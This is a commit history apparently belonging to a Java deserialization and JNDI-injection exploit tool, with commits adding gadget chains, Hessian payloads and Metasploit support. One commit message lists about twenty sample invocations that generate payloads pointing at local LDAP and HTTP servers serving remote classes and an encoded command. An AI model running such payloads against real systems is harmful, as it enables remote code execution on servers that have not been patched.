Commit Graph
46 Commits
Author SHA1 Message Date
qi4l e053c403e9 fix: tomcatjdbc 2024-10-31 20:53:30 +08:00
qi4l 4be7384106 feat: add onlyref ldap2rmi 2024-10-31 14:41:37 +08:00
Your Name 192a0ac085 fix(HTTPServer.java): Bug fixes 2024-10-21 15:29:04 +08:00
Lya0 eed218cc0c 增加 marshalsec 的output
一些测试用例
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -kryo
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jy
-y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jy
-y -g XBean  -p http://127.0.0.1:8080/ExecObject -js
-y -g LazySearchEnumeration  -p http://127.0.0.1:8080/ExecObject -js
-y -g Resin  -p http://127.0.0.1:8080/ExecObject -js
-y -g Groovy  -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -js
-y -g Rome  -p /usr/bin/gedit -js
-y -g SpringAbstractBeanFactoryPointcutAdvisor  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -ca
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -ca
-y -g JdbcRowSet -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv  -jk
-y -g C3P0RefDataSource  -p ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv -jk
-y -g C3P0WrapperConnPool -p http://127.0.0.1:8000/exp -jk
-y -g SpringAbstractBeanFactoryPointcutAdvisor -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
-y -g SpringPropertyPathFactory -p 'ldap://127.0.0.1:1389/Deserialization/CommonsCollections5/command/Base64/b3BlbiAv'  -jk
2024-09-15 16:30:26 +08:00
qi4L 95adfbb45c fix(Gadgets.java): _name Repair 2024-09-15 13:42:27 +08:00
qi4L 3f7148f93c perf(Starter.java): remove author 2024-09-11 10:53:30 +08:00
qi4L 8b502cb472 feat(Starter.java): add author 2024-09-11 10:49:32 +08:00
qi4L 33cc64d0ad feat(Starter.java): add logo 2024-09-11 10:47:46 +08:00
qi4L a6bbe67d9e feat(qscan.go): add logo 2024-09-11 10:46:10 +08:00
qi4L 54e5de4b0a +BUG 2024-09-09 22:32:17 +08:00
qi4L 99a640249f add ldaps++ 2024-09-01 11:21:06 +08:00
qi4L 05a86ce158 add ldaps 2024-09-01 11:07:55 +08:00
qi4L ef963e8568 ++++3 2024-08-26 12:34:42 +08:00
qi4L 48c03d08df ++++1 2024-08-26 12:10:08 +08:00
1af4889b92 Merge pull request #53 from springkill/master
add XStream suggestion
2024-08-26 11:39:36 +08:00
Fw-fW-fw 3b84752c20 add Hibernate3JDBC (org.hibernate<=4.12可用) 2024-08-19 22:48:39 +08:00
Fw-fW-fw 2288a5eb85 add Hibernate3JDBC (org.hibernate<=4.12可用) 2024-08-19 22:42:26 +08:00
Fw-fW-fw 5633bb5095 add Hibernate3JDBC (org.hibernate<=4.12可用) 2024-08-19 22:32:59 +08:00
Fw-fW-fw 9db31149d0 groovy2 gadget反序列时触发,方便组合 2024-08-19 19:06:59 +08:00
Fw-fW-fw 7d7128b4db add 7gadgets (降级groovyt适配新gadget) 2024-08-19 18:58:51 +08:00
Fw-fW-fw 5c766bfbf8 add 7gadgets (降级groovyt适配新gadget) 2024-08-16 22:58:15 +08:00
springkill f96a58d292 edit description. 2024-08-16 22:46:59 +08:00
Fw-fW-fw 115548a2d6 add 7gadgets (降级groovyt,hibernate适配新gadget) 2024-08-16 22:42:49 +08:00
springkill 4cf43d6260 Support xstream 2024-08-16 21:29:12 +08:00
Fw-fW-fw 5f37ed1abc add 7gadgets (降级groovyt,hibernate适配新gadget) 2024-08-16 21:05:10 +08:00
Fw-fW-fw a3999b8186 add 7gadgets (降级groovyt,hibernate适配新gadget) 2024-08-16 21:03:29 +08:00
qi4L 4bcce8789f base64编码输出Payload 2024-08-13 18:43:58 +08:00
qi4L 993a923828 修复hessian 2024-08-13 10:52:53 +08:00
qi4L 8e10aeacc1 hessian类型的Payload 2024-08-04 14:55:22 +08:00
springkill 5b7ebf3833 Add Gadgets 2024-08-02 09:58:53 +08:00
qi4L e7b282c231 Increase CC13 2024-07-27 15:56:38 +08:00
qi4L 27d53bc131 修复 Exploit 2024-07-24 15:38:01 +08:00
qi4L 72a91dd13f Add constructor 2024-05-29 16:13:04 +08:00
qi4L 114eadcb13 重写TomcatEchoJndi 2024-05-23 17:41:09 +08:00
qi4L 8bb2c43d3b tomcat修复 2024-05-16 16:23:12 +08:00
qi4L 5e7792ed58 re README +++2 2024-05-16 11:25:03 +08:00
qi4L 2302b0d48e + TomcatJdbcController 2024-05-16 11:01:45 +08:00
qi4L cc44392ddd msf+ 2024-05-14 18:05:39 +08:00
qi4L 15bfe30f23 msf 2024-05-14 17:54:33 +08:00
qi4L c3eb683011 re libs 2024-05-14 17:11:22 +08:00
qi4L 5f3699453c re README +++ 2024-05-13 09:31:21 +08:00
qi4L ec22786847 + cb161 2024-04-30 14:44:03 +08:00
qi4L 51c0929d3d de Authors 2024-04-29 16:38:17 +08:00
qi4L 07703764af cb5 2024-04-29 15:10:38 +08:00
qi4L b7fbbbcccc re logo 2024-04-28 17:57:51 +08:00
qi4L 130d67f3ef gradle++1 2024-04-02 17:04:39 +08:00